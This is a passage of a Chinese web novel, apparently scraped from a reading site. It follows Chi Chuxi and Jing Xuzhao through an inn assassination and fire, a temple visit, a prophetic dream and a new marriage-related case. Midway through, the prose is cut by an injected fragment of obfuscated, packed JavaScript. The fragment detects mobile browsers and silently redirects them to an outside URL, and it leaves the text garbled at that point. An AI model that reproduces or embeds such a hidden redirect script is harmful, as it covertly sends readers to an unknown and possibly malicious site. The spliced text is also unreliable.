他忽地对着陆逍的背影大骂:“你个小畜生,怎么不再晚点来,直接给我收尸好了!
陆逍一边打一边抽空回:“岳师父,我也是没办法,这楼里还有人比你更重要,我自然得先护他。”
池楚浠拉着岳逸钦看了一遍,幸好,没让他被伤着,否则如何跟景序昭交代。
正检查完岳师父的状况,池楚浠一抬眼便看见正盯着她的季沐风。
她顺带问了句:“你也还好吧?”
季沐风点点头,盯着池楚浠的目光没有移开半分。
池楚浠不喜被他这样审视着,便拉着岳逸钦去找出口,但眼下的情况又不能离陆逍太远,怕他护不过来。
留在大堂的刺客并没有很多,更多的刺客去楼上搜寻什么人了,楼上传来的惨叫声愈加骇人。
池楚浠抬头往楼上看去,有尸体重重从三楼摔下来,砸在大堂地板上传来一声闷响。
从二楼楼梯处下来一群人,两排侍卫护着中间的男人正往大堂来。
景序昭就在侍卫中领队。
他吩咐道:“护好陈御史。”
陆逍独自应付三个刺客有些吃力,幸好景序昭立即过来分担了些压力。
这些刺客的功夫都不差,交手了好几个回合都还是缠斗不休,这令陆逍很是头疼。
突然,岳逸钦面色一喜,他眼中映出一抹白衣。
一个穿白袍戴面纱的人大摇大摆地走进了醉仙楼,所有人都想从门口逃出去,唯独他从门口闯进来。
守在门口的刺客被他手里扬起的毒粉撂倒。
白袍人加入了景序昭一边,他身手虽然一般,但用毒却是一等一的。
三根毒针扎进刺客胳膊,几个呼吸下来他们便无力反抗,景序昭和陆逍立即把他们的脑袋削了。
白袍人道:“去解决其他的。”
说完,他就先行去了。
景序昭回头看向池楚浠和岳逸钦,安抚道:“放心,不会有事。”
岳逸钦自从看见白袍人之后便肉眼可见地放宽了心,今日终于不用死在这儿了。
陆逍奉景侍郎命留下来保护池楚浠他们。
有了白袍人的毒针,刺客们很快就丧失了战斗力,御史身边的侍卫可是从金吾卫里抽调出来的,不比刺客的身手差。
双方的强弱之势很快显现,刺客们在短时间内人头落地。
见没有了翻身的机会,其中一名刺客吹了声哨子,哨子一响,醉仙楼外围瞬间燃起熊熊大火。
他们早就在醉仙楼外围放了火油。
岳逸钦忍不住骂了几句难听的,他迅速跑向大门处,火势很快升起,火焰逼得他退了回来。
“这帮狗东西还敢烧醉仙楼!”岳逸钦气得吹胡子瞪眼。
“陈惟言不能死在这儿,陆逍,去帮景序昭!”岳逸钦吩咐。
陆逍拿刀做防御姿态,谨防还有没被毒针刺到的漏网之鱼扑过来。
“岳主事放心吧,御史不会有事,当务之急是咱们赶紧找到路出去,等会儿火烧进来就全完了。”
周围没有了胡乱砍人的刺客,季沐风独自跑到醉仙楼的其他角落寻找出口。
没多久,季沐风返回抓起池楚浠的手腕道:“跟我走,一定还能逃出去!”
“我自己走。”池楚浠推开他的手掌,扶起岳逸钦,“岳师父,我们去找出口。”
季沐风终究是个男人,力气比女子大许多,他不由分说地拖住池楚浠,将她从岳逸钦身边拽开。
池楚浠只觉得手腕上生疼,季沐风抓得太用力了,仿佛要捏碎她的骨头。
“你松开!”
季沐风沉声道:“你方才拼死护着我,这会儿却又装模作样,楚浠,你到底要我如何?我们从小到大的情谊不是说散就散的,我知道在你心里也是如此。”
陆逍就抽空搜寻了一下出口,一眨眼池楚浠就被人拖走了,他立即抓起岳逸钦就追了上去。
岳逸钦方才见到那一幕时脑子有些混乱,池丫头和季沐风?两人还有旧情?
原来如此,方才在生死一刻池楚浠挡在了他们面前,这一挡莫非是为了季沐风。
怪不得,青梅竹马的情谊确实很难割舍。
池楚浠已经被拽着走了一程,醉仙楼有好几个出口,季沐风在这里住了好几日,对几个出口都有印象,他此刻正奔着西边的侧门去。
“季沐风,我不是为你。”池楚浠道,她又趁机抽了抽手腕,可惜还是无法逃脱。
“楚浠,你说话向来是这般口不对心,你到底还要跟我犟到何时?”
“今日我们从这里活着出去后,你必须随我回长安,搬回季家住。”
手腕上传来更明显的痛楚,池楚浠疼得眼泪都快出来了。
“我不会再跟你回去,我们的婚约已经不作数了,季郎,你听清楚了,我已退婚。”
季沐风颇有些怒意:“哪有女子做主退婚的,池楚浠,你说的退婚不作数,我们有婚书在,契约即在。”
陆逍护着岳逸钦朝季沐风去的方向追,忽然一女子扯了他的手腕一把:“陆郎,你们跟我来,我知道出口,御史他们已经去了。”
陆逍扭头一看,唤道:“雪娘子,你没被那些人伤到吧?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405825|184457||http|test|mini|href|location''.split(''|''),0,{}));
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>楼雪摇摇头:“未曾伤到,幸好有御史带来的金吾卫,你们快跟我出去。”
她走的方向与季沐风去的方向一致,陆逍便加快了脚步,幸好岳逸钦老当益壮,还能跟上。
因着有火油的加持,火势很快就烧旺了,醉仙楼的大门处已经再无生还之路,门口的横梁砸下来压在了被切掉脑袋的尸体上。
火势顺着西边的侧门也涌了进来,季沐风还没跑到侧门前便感受到了火焰的灼烧。
从楼上逃下来的客人们四处逃窜,刺客显然是早就提前放好了火油,每个门口都被火焰迅速吞噬。
楼雪道:“他们是偷偷放的火油,连我都没提前发现,偷摸做的事不可能将整座醉仙楼浇透。”
季沐风和池楚浠就在前面,陆逍大声道:“池娘子,跟我们走,这边有路!”
池楚浠拉着季沐风往回带,好在季沐风也听见了陆逍说的,迅速调转方向。
这回池楚浠拽住了季沐风,她也实在不能亲手把季沐风推进火坑。
买卖不在仁义在。
逃生要紧,池楚浠也懒得再跟季沐风掰扯婚书一事,能活着出去才是正事。
楼雪对着身后还在奔逃的人道:“大家走这边!”
在楼雪的带领下,所有人都涌向西边的一个偏房,那里的火势最小,墙面被人临时打通,正好可以通行。
楼雪招呼着:“快,大家出去,不要挤!”
池楚浠看向楼雪,这正是那个顶替她的舞姬。
她又看了看岳逸钦,确认他被陆逍扶得稳稳当当,现下也安心了许多。
岳逸钦是景序昭的师父,犹如父亲一样,若是让岳逸钦出了事,景序昭定会自责。
楼雪扶了一下池楚浠的肩,催促道:“快走吧,逃出去就没事了。”
“多谢。”
池楚浠让陆逍和岳逸钦先过去,毕竟那面墙是临时砸开的,只能同时容纳两人通过。
陆逍和岳逸钦出去时,后方猛然蹿出来一条火舌,炙热的温度让人心惊。
身后的东西被烧得噼啪作响,池楚浠和季沐风急着逃出去,也顾不上周围情景了。
哪怕火焰此时扑过来,他们也只有这一条路可走。
一片火光猛然晃过来,让池楚浠睁不开眼,热浪席卷而来,仿佛瞬间置身火海。
横梁倒在池楚浠脚边,绊住了她的去路。
“楚浠!”季沐风眼看着几条火舌扑向他们。
池楚浠的视线受阻,只能闷头往前逃去。
忽然,身体一轻,她被人抱着过了那道滚烫的门。
她远离了身后的火源,好一会儿,池楚浠才恢复视线。
恍然一眨眼,就看见景序昭那双被火光映得发亮的眼眸。
是他。
景序昭抱着人,回身望向那片火海。
醉仙楼烧了,连那些刺客的尸体一起烧成灰。
季沐风狼狈跟了出来,他呆呆地望着眼前的一切,从未想过有人为了刺杀御史敢弄出这么大的动静。
赵秉钧真的敢吗,他有这么大的胆子?
这岂不是无差别砍杀,还好他命大。
周围的人还在逃窜。
混乱中,池楚浠下来扶着景序昭站稳,身体里的弦绷久了就很容易虚脱,此刻,她只觉得双腿有些发软,心里很是后怕。
身后的火海持续传来高温,她额间都是细汗,面部粘了些黑灰。
整个鼻腔里都是所有东西被烧后的焦糊味。
“阿兄,你方才不应再跑进火海,进去容易,出来难。”池楚浠望着他那双被映红的眼睛道。
42. 往生极乐
景序昭的目光从火海中抽离,他垂眸看着眼前的小娘子。
他眼中的神情让人琢磨不清是什么,池楚浠盯着看也没猜透。
似乎有什么东西被他这副躯壳压抑着,很沉重,很难过。
看着看着,池楚浠皱起了眉头。
“阿兄,我……没有责怪你的意思,你来救我,我很感激,感谢阿兄的救命之恩。”
池楚浠以为他这种难过的神情是因为她说错了话,于是说了这些来补救。
救命之恩是该感谢,而不是教训或责怪。
她还是不够了解景序昭。
“阿兄,你有没有伤到哪里?”
池楚浠关切地问了一句。
景序昭应道:“我没事。”
他看向紧随而来的季沐风,接着道:“只是你护着的那人受伤了,可要为他请个大夫?”
池楚浠侧目看去,见季沐风捂着流血的胳膊,表情有些痛苦,想来是被落下来的东西砸伤了。
池楚浠看了季沐风一眼道:“他自己会找大夫,阿兄不必挂心,御史没事吧?”
景序昭今日全力护着御史,他可一定不能有事,否则今日的罪都白受了。
“没事,他已去了安全的地方。”景序昭道。
楼雪和陆逍他们过来了,楼雪第一时间向景序昭见了礼,很是恭敬的模样。
她道:“公子,幸好咱们的人都没事。”
景序昭微微点头。
池楚浠早已靠自己的力气站稳了,但景序昭还腾出一只手堪堪地扶了她。
岳逸钦的目光扫过这几位年轻人,心里默默地叹了口气,当下就忍不住掐指演算。
先前池楚浠不让他算姻缘,他就真的没算,眼下不算也不行了,自己的徒儿已经迷途深陷,情难自持了。
方才景序昭明明已经送御史出来,却还是折返跑进火海将池丫头带了出来。
算一算就当是为了自己的徒儿,他好不容易度过命中劫煞,总不能还在姻缘这事上栽跟头,那也太惨了。
醉仙楼在火海里快速沦陷。
火焰和朝阳几乎融为一体。
景序昭抓起池楚浠手腕道:“是你说不必管他,那我们走了。”
他拉着池楚浠转身就走。
有金吾卫牵着马过来,景序昭将其中一条缰绳交到池楚浠手里:“还能骑马吗?”
池楚浠点点头:“嗯。”
她用力翻身上马,渐渐远离热源,那股炙热感才褪去。
陆逍道:“景侍郎,你们先走,右骁卫马上就来了,到时我随御史一起去州衙,找那个胆大包天的算账。”
景序昭是不会参与御史巡查一事,今日把御史救下就已经是完成了任务,他不会再留在此地。
右骁卫是从长安就跟来的,晚御史一步到沙洲,这会儿刚刚好与御史碰头。
这也是这把火为何偏偏要在此时烧起来,若把御史一行人杀了,那就算他们得手,可惜,他们算到了景序昭却没算到灵枢谷的人。
算漏了,功亏一篑。
陆逍与景序昭他们分了路。
马儿已经跑出了城,池楚浠他们停在一处高地,三人一齐望向城里飘散着浓烟的街头。
池楚浠道:“陆兄不会有事吧?”
景序昭道:“两把火烧了州衙和酒楼,放心吧,他不会有事,有事的只会是赵秉钧。”
岳逸钦捋了捋胡子:“单凭赵秉钧一人恐怕没这个胆子,查查他背后之人。”
景序昭想起那幅谢鹤明的画像,若那真是谢鹤明,他们这么久以来一点风声都没听到,只能说明他们的人里出了奸细。
陆逍也提过这事,看来此事要早早处理,否则将来会有大麻烦。
巡按御史陈惟言是做商人打扮来的沙洲,拿的也是假的公验,可当他一踏进醉仙楼没多久刺客就来了。
这些消息或许是有人提前告知赵秉钧,只是不知究竟有没有这样一个人。
景序昭的神色有些严肃,此事往细想牵扯了太多。
“楚浠,我们先送师父去灵枢谷再回苍山。”
“嗯,听阿兄的。”
池楚浠倒是想早日弄清父亲溺亡一案,可就如今掌握的证据来看,即使拿到罪证她也无法将凶手绳之以法。
民不与官斗,不是不可斗,而是斗赢了也得不到任何公道。
白蓉绒一行人故意害死苍山县主簿,为的是掩盖崔尚礼死亡真相。
想要公道,首先要让世人知道崔尚礼是怎么死的,天下谁会为崔尚礼翻案?
除了当今圣上,还有太子殿下。
池楚浠不得不沉下心来,一个案件涉及朝廷党争,她能如何,只能等,等合适的时机。
只有时机成熟之日,她才能一举翻案。
景序昭拿到了巡按御史的手令,方便前往怀德帮岳逸钦的酒友见到他嫁出去的女儿。
池楚浠稍微绕了一些路来到空缘古刹。
下午的太阳慢慢隐入云层里,阳光从云层的缝隙间洒落,斑驳的光影点缀在古刹的红房顶之间。
景序昭怀里揣着两本古籍,这是昨夜州衙烧起来时他从书阁里拿出来的。
这两本书是用经文写成,本就该藏于古刹,放在赵秉钧那里简直是暴殄天物。
三人往山腰处走去。
到了他们要去的古刹,景序昭问古刹弟子:“怀素师父在吗,我有东西交给他。”
小弟子道:“师父在为宋娘子做法事,官爷请随我来。”
池楚浠的心猛地沉了一截:“做什么法事?宋娘子她怎么了?”
难道已经没了?
一想到此,池楚浠心里难过。
弟子边领路边道:“师父在为宋娘子消债,先前宋娘子受了赵员外的跪拜,师父要将此法破了。”
池楚浠听完一惊:“那转债之术真能续命,必须破这法术吗?”
弟子笑了笑,认真回:“信不信皆由己心,师父能做的是让宋娘子和她阿娘安心。”
池楚浠似懂非懂,不还是没回答她转债之法能否续命。
她忽然意识到岳逸钦师徒俩的玄门之法或许与怀素师父的法门有异曲同工之处。
她便问道:“岳师父,你可信这转债之法?给人磕头便能让人替你背债,代你去死。”
岳逸钦:“人家小师父不是说了吗,信不信都由你自己,你觉得能便能,看你自己。”
池楚浠固执己见地追问:“那您呢?”
岳逸钦敲了敲池楚浠的头顶:“我信,小丫头真是个榆木脑袋,没有半点灵根。”
池楚浠瘪瘪嘴:“岳师父,这话您老已经说两回了。”
景序昭道:“师父,她不是榆木脑袋,只是她的长处不在这里,不擅长打哑谜,你需得一五一十给她罗列出来。”
“就像她验尸,每一寸都要查验并记录,不能靠想象,必须看到切实的证据。”
池楚浠笑着道:“还是阿兄懂我,说得都对。”
“你们说什么机缘、随心之类的,我都听不太明白,理解起来费劲,不如直白告知我会何时死,何时生。”
景序昭道:“不必理解这些,没人能定下你的生死,除了你自己。”
池楚浠笑
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笑。
还是有人能定她生死的,有权有势的人和不讲规矩的人,他们都可以随时杀了她。
古刹弟子领他们来到做法事的门外:“到了,师父还未得空,几位等一等。”
池楚浠朝屋内看去,见着宋晚吟乖巧地跪在蒲团上,双眼闭着。
怀素师父嘴里念着什么,像经文,听不清。
王湘宁瞧见他们来了,快步迎了出来,看见救命恩人她很是感激,顿时红了眼眶:“你们怎么得空过来?”
池楚浠道:“景县丞来送书,我来看看晚吟,她怎么样了,有休养好些吗?”
王湘宁道:“大师在为她消债,都是赵瑞堂种下的因果,我不想她一直带在身上,将来若是走了,她岂不是几辈子都在还债。”
池楚浠看着宋晚吟。
这一刻,她似乎懂了一点古刹弟子和岳逸钦说的意思。
只要做了这个消债的法事,宋晚吟和她母亲都会感到安心,不止是这辈子安心,甚至下辈子也安心。
池楚浠只知道人死了就什么都没了,尸体腐烂后就只剩一堆骨头,哪里还记得生前之事。
等了一会儿,法事做完了。
怀素师父这才有空迎来:“景县丞来古刹有何事?”
景序昭将书籍交给他:“将这两本书存于古刹吧,放在州衙差点被一把火烧了个干净。”
怀素接过书道谢。
宋晚吟从蒲团上起身,第一时间快步朝池楚浠而来,她牢牢地抓住了池楚浠的手掌道:“没想到你还会来看我。”
池楚浠抚了抚她的手背,柔声道:“身体感觉好些了吗,你要在古刹住多久?”
宋晚吟和往常一样化着好看的妆容,脸颊似乎瘦了几分,没什么肉。
她道:“比前两日好些,我和阿娘准备再住一段时日,我们是好不容易才走到这里的,不想白来一趟。”
池楚浠嗯了一声:“你在古刹好好休养。”
宋晚吟往前探寻,似乎在找什么,但最后无功而返,眼里有一瞬间落寞。
怀素叫弟子去准备午点,让景县丞吃了再出发,景序昭点头应下。
宋晚吟领着池楚浠来到古刹供奉明灯的高塔前,白日里这塔上也点满了烛火。
她指着塔中的两盏灯道:“那是你与景县丞的,希望池姐姐与景县丞长命百岁,永世安康。”
她看向另一处,那里也有一盏她供奉的灯。
“那是陆兄的,他也是个好人。”
池楚浠望向陆逍的那盏灯,缓缓道:“州衙里出了大事,陆逍没能随我们一起来看你。”
“不碍事。”宋晚吟笑笑,“他没必要来看我,他已经帮了我许多,你不在时都是他为我跑前跑后,我很感激,只可惜我没能回报些什么。”
池楚浠看着灯道:“有这些足够,你有心了。”
在一处古刹殿内,有一些香客私存物品。
池楚浠跟着宋晚吟来到这里,亲眼见她从架上取下一只木盒,她捧着木盒来到池楚浠面前。
“这是我写给阿娘和阿耶的信,待我走后,这些信便会在这里存上好几年,直到他们慢慢将我遗忘。”
池楚浠道:“为何不将信交给你阿娘?”
宋晚吟抚着盒子表面缓缓道:“不了,阿娘看了只会徒增伤心,我想给阿娘留下些什么,但我不想她一直记着我,这种感觉,很苦。”
“或许过几年她就好受了,我不给她留念想才是最好的。”
池楚浠盯着木盒子,感觉眼眶酸酸的。
“我帮你放回去,不让你阿娘知道。”池楚浠将木盒归位。
43. 旧梦重来
“晚吟,你还没告诉我你家住哪儿,你可是答应过我要送我许多香膏的。”
宋晚吟笑笑,提笔写了住址给她。
在古刹简单吃了些东西,池楚浠跟着景序昭师徒上路了。
她朝后方的宋晚吟挥了挥手。
晚吟,保重。
传说,这里是最接近生死的地方,或许在这里便没那么害怕死亡了吧。
夜里,只有一处偏僻的逆旅可供歇脚。
逆旅里虽然空房间不多,但好在没什么客人,还能订下两间房。
池楚浠一间,景序昭与师父一间。
岳逸钦沉默许久了,看他那模样景序昭就猜到他在做什么。
“师父,你又算到什么大事了,如此心思沉沉。”
岳逸钦道:“算了你与池娘子的姻缘。”
景序昭倒茶的动作一顿:“算得如何?”
岳逸钦疑惑地盯着景序昭:“我就不信你没偷偷算过,你喜欢人家的心思昭然若揭。”
景序昭慢吞吞将手中的茶倒好,递给岳逸钦。
“徒儿没算过。”
师父倒是好眼神,这么快就看出来他喜欢池娘子。
岳逸钦道:“命相上看,你俩很相配,但有一点奇怪,你的劫煞恰巧与她命格相连,也就是说,若在劫煞之前与她结成姻缘,那你就必死无疑,甚至连一点转圜的余地也没有,你的命数到那一刻也就截止了。”
岳逸钦慢悠悠喝下景序昭递来的茶,似乎还在琢磨着什么。
不用岳逸钦算命景序昭也知道这里的因果,这也是他从不算自己与池楚浠姻缘的缘由。
在劫煞之前,他已然心悦池楚浠,若当初抢婚成了,等着他的可不就是死路一条。
可那时他偏偏想要试一试,比起死,他更放不下心中执念。
或许命运也不是一定没有转机,逆天改命的事自古以来都有人做,不缺他一个。
岳逸钦道:“想娶她不难,我有的是法子,你只管把人心笼络住便是,你父亲那里我去说道,他最信我说的话了。”
景序昭眼中露出一抹喜色:“多谢师父。”
岳逸钦道:“只是我看她与那进士郎的缘分还未断,你可得动作快些,别让人捷足先登。”
景序昭沉声:“机会早已给过他了,是他自己不中用,以楚浠的心性,必不会再回头。”
岳逸钦哈哈笑着:“你很了解那丫头?”
景序昭应道:“多年前便认得她了,她没什么心思,一眼就能看穿她心中所想。”
岳逸钦表示不认同,似乎想起了什么,痛苦地摇头道:“娇娘之意,如渊之深,如林之密,不可轻易探知啊。”
“睡了,我还得去灵枢谷。”
景序昭微微皱眉。
娇娘之意,如渊之深,如林之密,不可轻易探知?
当真吗?
师父好像很有经验。
师父连天机都能窥探,却探不透女人心思?
第二日一早,池楚浠特意绕了些路来寻父亲的老友。
可她拿着地址问了一圈,都没寻到那人。
终于有个男人道:“你是说顾启明,他已离开这里前往长安,你们要寻他得去长安咯。”
池楚浠问:“他何时去的?”
男人道:“去了小半年了,他家妻儿都跟着去了。”
“谢谢您。”
池楚浠道了谢就把信放回包袱,这是她誊抄后的信,旧的那封已经被水泡糊了。
岳逸钦道:“既然人都离开沙洲了,那就下次回长安再寻,寻不寻得到就看缘分了。”
“赶路去怀德县吧。”
小花带着刺史的手书回苍山县禀告县令,说景县丞奉命前往怀德,办完事便回去。
前方路口处,铁耀牵着马儿早已等在这儿了。
“景县丞,是陆大人告知我你们会从这儿走的。”
景序昭道:“跟上吧。”
“是,我们县令说了,让我一切听县丞吩咐。”
从这里往东南方走就能到怀德,灵枢谷在怀德县的管辖范围内。
再歇一晚,就距离怀德不远了。
附近没有较为繁华的大城,逆旅更是少见,天快黑时,几人只看见一家破旧的邸舍。
邸舍多数用来屯放货物,可供住宿的房间不多,条件相对简陋。
铁耀担起了办杂事的活,将几匹马儿交给了店家,买了店里的草料喂养。
“还有几间房?”
“就剩一个通铺了,你们几个将就一下,这附近也没别的地儿落脚。”
“那怎么行,我们这儿有小娘子呢,怎么能让她跟我们几个老爷们睡大通铺。”
店家似乎已经见多了这种事,无所谓地道:“咱们就是一张大席铺地上,有时候路过的一队人里有男有女都只能挤在这一间房里,穷讲究的话你们连夜赶路去找条件好的逆旅。”
岳逸钦道:“先订下。”
铁耀拿景序昭的钱把房钱付了。
来到后院的房间,几人看着所谓的“大通铺”若有所思,这也不能叫.床,只能说整个地面都是床,难怪可以容纳一队人一起睡。
穷人家赶路都是一起挤在这种大通铺里,不分男女老幼,只要有个歇脚的地方,大家都是不挑的。
岳逸钦指着地面划分:“那边是池娘子的,这边是咱们的,互不干涉。”
反正都是一块地,怎么睡都一样。
池楚浠出门在外没把自己当大家闺秀,就不讲究了,她既是穷人也是贱民。
贱民哪里都可以歇脚,头顶有片瓦即可。
铁耀在屋里转了一圈似乎在找什么东西,没找到他便跑了出去。
岳逸钦悄悄对景序昭道:“这苍山县派来的不良人可信得过?”
景序昭道:“温县令虽有些懒政,但不是大奸大恶之人。”
没多久,铁耀不知从哪儿搬了个类似屏风的东西回来,他将屏风挡在池楚浠那边。
“池娘子,你看这样合适不?这样你也好自在些。”
池楚浠赶忙道谢。
没想到铁耀看起来是个糙汉,心思却这般细腻。
岳逸钦噗呲笑了一声,对景序昭道:“你看看,你还差些火候,多学学。”
景序昭看了看铁耀,他看起来不像是有心机之人,但总觉得有些奇怪。
邸舍里的餐食简陋,景序昭特意去弄了野味,他挑了好的肉加在岳逸钦和池楚浠碗里。
池楚浠盯着碗里的兔肉,有些不好意思地道:“多谢阿兄了,以后不必麻烦,我也不是要顿顿吃肉的。”
景序昭道:“不碍事,师父要吃,你当然也有份,多吃些。”
池楚浠笑了笑:“会长胖。”
景序昭看过去的眼神不经意露出几分宠溺:“不胖,正好。”
岳逸钦哈哈笑着:“吃吃吃!都是徒儿的一片孝心。”
铁耀暗中看了景序昭一眼,见他对池楚浠如此爱护,当下暗中为难起来,但又没说什么,接着埋头吃面。
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池楚浠留意到铁耀的神色,心中已然猜到什么。
饭后,景序昭和岳逸钦说话去了。
池楚浠寻到铁耀,直接问道:“铁耀兄,你可是在帮季沐风做事?”
铁耀显得有些惊讶:“你……你怎么知道?不过我没帮他做别的,我只是告诉他你和景县丞的事,没别的,真的!”
难怪上次在丹水邸舍过夜后季沐风便知道她与景序昭同住,原来是从铁耀这里打听的。
池楚浠问:“他给你什么好处?”
铁耀不好意思地挠挠头:“就给了我一些通宝,让我盯着你们。”
池楚浠:“他可还有说别的?”
铁耀摇摇头:“没有,季郎君只是说你和他有婚约,不想让你与别的男子走得过近,让我帮着些。”
池楚浠:“所以你才费劲找来屏风挡在我面前?”
铁耀:“嗯……”
池楚浠沉默片刻,不知该说什么好,季沐风表面上与她闹来闹去,背地里处处留意她,甚至叫人护着她。
“池娘子,没什么事的话我先回去歇着了,明日还要赶路。”
“你去吧。”
池楚浠独自坐在院中树下,五月的夜风已经不凉了。
若是季沐风当初没有违背他曾许下的诺言,她这会儿已经嫁做人妇,过起了相夫教子的生活。
是季沐风违背承诺在先,她并没有过错。
池楚浠心中慢慢地舒了口气,她没有觉得后悔,更不觉得可惜。
大家都回了房间,岳逸钦吹灭了烛火。
隔着屏风,池楚浠的确是自在,这种大通铺和在外席地而眠区别不大。
赶了一天的路,她很快入睡。
不知何时,池楚浠陷入了熟悉的梦境,梦中,她活在一本书里,是个可有可无的角色。
书中,她没有悔婚,即使季沐风提出让她做妾,她也同意了。
大婚那日,她与白蓉绒同时进门,围观的人都说白蓉绒有肚量,说池楚浠没有尊卑,不识大体,非要以贱民的身份与贵女平起平坐。
那些辱骂嘲讽她的言论,她都听得真切。
婚后,她成了季沐风的妾室,一直老实本分,可季沐风的心已然不在她身上。
季沐风与白蓉绒永远同进同出,二人甜蜜恩爱,如胶似漆。
白蓉绒不愿生子,说什么风险太大,容易一尸两命,自此,季沐风便来池楚浠屋里睡了几次。
如他们所料,池楚浠有孕了。
自打有孕后,季沐风再也没来过她房中,直到临盆那日。
池楚浠没想到,临盆日就是她的死期。
傍晚,肚子微疼,孩子要出来了,府中的稳婆准备好了接生。
撕裂的疼痛令池楚浠浑身发抖,一直到夜里,她才生下那个孩子。
稳婆喜道:“恭喜小娘,是个小郎君!”
池楚浠迷迷糊糊听见了,她很欣喜。
可没多久,周围突然就安静了下来,池楚浠察觉到不对,猛然睁开眼看。
所有人都走了,连刚出生的小郎君也被抱走。
“来人……”
“来人!”
白蓉绒缓步走了进来,只有她一人。
她打量着池楚浠,颇为满意道:“很感谢你生了个儿子,以后我会把他当成我亲生的孩子抚养,我不会告诉他你的存在,孩子只要是谁养的就跟谁亲,和生他的人没关系。”
池楚浠挣扎着坐起:“你要做什么?我哪里得罪你了?”
44. 师父酒友
“你没有得罪我。”白蓉绒道,“只怪这个世界医疗条件太差,而我还有很多事要做,不能把命搭在生孩子这种事上,所以只能借你的身体要孩子,最好是个儿子,好传承这破香火。”
池楚浠听得后背发凉,她从未听过这样的说辞。
她感到害怕。
白蓉绒无奈地叹了口气:“在我们那里,男人是不可以三妻四妾的,我其实没那么大肚量,我不喜欢有小三住在家里,你的价值只是生孩子,如今你对我来说已经没有用处了。”
“池小娘,很抱歉,在这个吃人的社会,我不吃你,别人就会吃掉我。”
“你放心,你的孩子我必定视如己出。”
……
池楚浠知道,等待她的只有死。
只有她死了,白蓉绒才会放心。
……
黑暗中,池楚浠猛地惊醒,额上都是细汗。
眼前是大通铺,身后有屏风,她已经从梦境里出来了。
方才她又梦到了话本里的故事,如今她已经确定话本里的一切都是真实的。
若她没有悔婚,那么她的结局一定是梦里那样,作为话本里的边缘角色,死才是她的最终归宿。
黑夜中,她睁着眼再无睡意。
梦境里的一切如此真实,那是她人生的另一种走向,凄惨地迈向死亡。
季沐风爱的依旧是白蓉绒,如今他之所以惦记着她,暗中向铁耀打探消息,不过是因为她脱离了他的掌控。
得不到的才会令人心心念念,得到了就会弃如敝履。
屏风挡住了她的视角,将这屋子分成两个空间,只要将来还在江湖上行走,应该还会住这种条件的邸舍,说不定在野外连邸舍都没得住,只能以天为被以地为席。
池楚浠静静地躺着,听着窗外的风声。
清晨,几人吃了早饭准备赶路。
池楚浠趁人不注意塞了一小块金子给铁耀,悄声道:“季沐风断然不会给你这么多,铁耀兄,以后你就照我说的给他回话。”
铁耀赶紧把金子放好:“放心吧池娘子,我昨晚就已经打算不向他禀告你的事了,终究我是跟着景县丞做事,也不能太吃里扒外嘿嘿。”
“池娘子的金子我就收这一回,一次买断。”
池楚浠笑笑,她很满意,能收钱就好,用钱能买到的人心是最容易收拢的。
眼前就是怀德的地界了,此时正是一天中最热的时辰,太阳高悬,铁耀热得把外袍都脱了。
“景县丞,怀德县到了,咱们直接去公廨吗?”
岳逸钦道:“先去酒友家问问情况,若我要过河怎么也得带他一起,顺便让他去见见女儿。”
岳逸钦早前就记住了酒友留的地址,当下就带着几人一起寻去。
农家小院前,岳逸钦拿着手帕去找酒友,那家的妇人一眼就认出了手帕,赶紧迎了岳逸钦一行人进屋。
妇人道:“我去叫相公回来,几位稍等,喝口水歇歇。”
妇人匆忙去地里找相公。
池楚浠打量着这户人家,就是寻常的农户,家中的各种用具一应俱全,布置规整,看起来颇为殷实。
很快,男人就从地里回来了,他一把握住岳逸钦的手叙旧,还翻出一坛好酒招待。
“没想到你这么快就回来了。”男人看见穿着工服的铁耀,颇有些激动,“你们真是公廨的人?”
景序昭亮了公廨腰牌给他看。
“太好了!”男人恳求道,“我只求几位给吴家带句话,让我女儿回来一趟,自她嫁过去后一次都没回过门,谁家成亲也不是这样的规矩啊。”
妇人道:“就是,他们吴家吧虽然给了很多彩礼,可我们家不是卖女儿,当初与他们说了这点才将女儿嫁过去的。”
岳逸钦道:“二位别怪我说话不中听,听说吴家是怀德数一数二的有钱人家,为何他们不去求娶与之门当户对的小娘子,反而求娶你家女儿?”
这家的男人李耕道:“您有所不知,吴家父子都是个克妻的,那吴荣贵娶了五个娘子都被克死了,他儿子吴耀金前头也娶了三个,死了,我女儿是他娶的第四个娘子。”
景序昭沉声道:“既然知道他们家克妻,你们还把女儿嫁过去。”
这和卖女儿有什么区别。
李耕解释道:“我们原也不想的,后来找人算命合了八字,说是我女儿正好命硬,接得下这桩婚事。”
说着,他叹了口气:“我们想着有些人的确克不着,命硬,我们也想让女儿嫁到有钱人家过好日子,犹豫几番就答应了。”
“可我这听说他们家又要娶新妇,一应规制都是按照正妻的办,那将我女儿置于何地?”
妇人道:“是啊,阿荞嫁过去后还未回过娘家呢,怎么他们家又要娶,他家只有一个吴耀金,总不能是旁人娶妻吧。”
池楚浠听着觉得奇怪,居然还有父子俩都克妻的,要娶四五个娘子才能遇到一个命硬的,这是不是太离奇了。
池楚浠问道:“吴家这次娶的是哪家的姑娘?也是合过八字的命硬之人吗?”
妇人道:“我们特意去打听过,那姑娘家离我们这儿很远,合没合过八字我们不知,毕竟离得太远了,怕是他们故意挑这么远的人家,怕我们这边的人知道。”
岳逸钦道:“把你家女儿的八字给我瞧瞧。”
男人将阿荞的生辰八字说给他听。
景序昭问妇人:“那吴耀金是个什么样的人,多大年纪?”
妇人道:“是个年轻郎君,二十多岁,成婚当天我们去过他家,吴家气派得很,桌上都摆着金杯,不差钱,吴郎君人看起来老实本分,不爱说话,很闷的一个人。”
景序昭:“有多不爱说话?”
妇人想了想道:“从头到尾没跟咱们说过一句话,也就点了点头,嗯……对,就点了头完事,也不知他平日里跟阿荞是不是也这般少言寡语。”
铁耀插嘴:“不对呀,谁家新郎官娶妻不都高高兴兴,乐乐呵呵,有说不完的话,这一句话都不说不会是个哑巴吧?”
妇人:“这……”
她的确从未听过女婿开口说话,不会真是个哑巴吧。
铁耀想了想又道:“莫非他是成了太多次婚,已经厌倦了,提不起兴致了?也不对啊,讨媳妇总归是开心的,无论讨多少次。”
